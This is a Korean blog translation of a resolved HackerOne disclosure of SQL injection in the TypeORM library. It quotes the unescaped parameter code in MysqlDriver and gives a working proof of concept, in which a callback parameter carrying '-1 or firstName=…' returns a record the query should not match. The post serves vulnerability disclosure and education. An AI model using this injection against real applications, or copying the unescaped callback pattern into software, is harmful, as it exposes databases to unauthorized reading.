A Hacker Next Door

⚠️ 블로그 공사중입니다 ⚠️ 블로그 공사중입니다 ⚠️ 블로그 공사중입니다 ⚠️ 블로그 공사중입니다 ⚠️

SQL 인젝션 (Typeorm)

Category: PoC
Tag: Bugbounty, SQLinjection, Translation, Hackerone

출처 : [hackerone hacktivity, 작성자 : verichains (verichains)] https://hackerone.com/reports/506654

[ 본 이슈는 해결 된 상태이며, 취약점은 한국시각으로 2019년 4월 2일 오후 1시 25분에 공개되었습니다. Node.js third-party modules에 리포팅 되었으며, 소스코드는 typeorm의 자산입니다. 취약점의 종류는 SQL Injection이며, 포상금은 없습니다. 해당 취약점은 해당 도메인에서 8.6/10 정도의 심각성을 내포하고 있습니다. ]


(써드파티 모듈인) Typeorm의 SQL 인젝션을 리포팅 하고 싶습니다. 이 취약점은 데이터베이스의 자료들을 노출시킵니다.

모듈

모듈 설명

TypeORM은 Nodejs, 브라우저, Cordova, PhoneGap, Ionic, React Native, NativeScript, Expo 그리고 Electron platforms에서 실행될 수 있는 ORM입니다. 또한 TypeScript와 함께 쓰일 수 있으며 자바스크립트(ES5, ES6, ES7, ES8)와도 쓰일 수 있습니다. 이 모듈의 목적은 최신의 자바스크립트 기능들을 항시 지원해주는 것이고 추가 기능들을 제공해주는 것 이며 데이터베이스를 사용하는 어떤 종류의 애플리케이션 개발이라도 지원해줄 수 있도록 합니다. 몇 개 안되는 테이블을 가진 작은 애플리케이션부터 큰 스케일의 많은 데이터베이스를 가진 기업형 애플리케이션까지 말입니다.

현존하는 다른 자바스크립트 ORM들과는 다르게, TypeORM은 액티브 레코드와 데이터 매퍼 패턴 모두 지원하며, 이 말은 당신이 더 생산적인 방법으로 고 퀄리티의 중복이 적고 확장성있으며 유지가 잘되는 애플리케이션을 만들 수 있다는 것입니다.

모듈 스탯

npm의 모듈 페이지의 숫자들과 아래의 스탯들을 교체하세요(Replace stats below with numbers from npm’s module page:) :


취약점

취약점 설명

만약 한 함수가 이스케이핑을 하지 못한다면 특정한 맥락에서 SQL 인젝션이 공격자에 의해 수행될 여지를 주게되는데 이 때 MysqlDriver.tsescapeQueryWithParameters 메소드는 직접적으로 파라미터에서 값을 리턴합니다. https://github.com/typeorm/typeorm/blob/d9f5581b22c4cccfab55ee23fad699e1c8acadf8/src/driver/mysql/MysqlDriver.ts#L387

    if (value instanceof Function) {
        return value();

    } else {
        escapedParameters.push(value);
        return "?";
    }

의도치 않았고 잘은 모르겠지만, 그 문서 안에 정보는 없었고, (콜백 함수에 의해 값이 할당된) 만약 누군가가 이 패턴을 적용시킨다면 이것은 SQL 인젝션 공격이 될 것 입니다.

공격이 발생되는 과정

npx typeorm init --name Test --database mysql
import "reflect-metadata";
import {createConnection} from "typeorm";
import {User} from "./entity/User";

createConnection().then(async connection => {

    console.log("Inserting a new user into the database...");

    for(var i=0;i<10;i++) {
        const user = new User();
        user.firstName = `Timber ${i}`;
        user.lastName = "Saw";
        user.age = 25 + i;
        await connection.manager.save(user);
        console.log("Saved a new user with id: " + user.id);
    }

    const repo = connection.getRepository(User);

    console.log(await repo.createQueryBuilder().where('firstName = :name', {name: () => "-1 or firstName=0x54696d6265722033"}).getOne());

    process.exit(0);
}).catch(error => console.log(error));

(0x54696d6265722033 는 “Timber 3” 입니다)

출력 :

Inserting a new user into the database...
User { id: 5, firstName: 'Timber 3', lastName: 'Saw', age: 28 }

지원하는 요소나 레퍼런스

취약점이 발견된 스택에 관련된 기술적인 정보들

정리


영향

공격자가 SQL 인젝션 공격을 수행할 수 있게 합니다.

▲top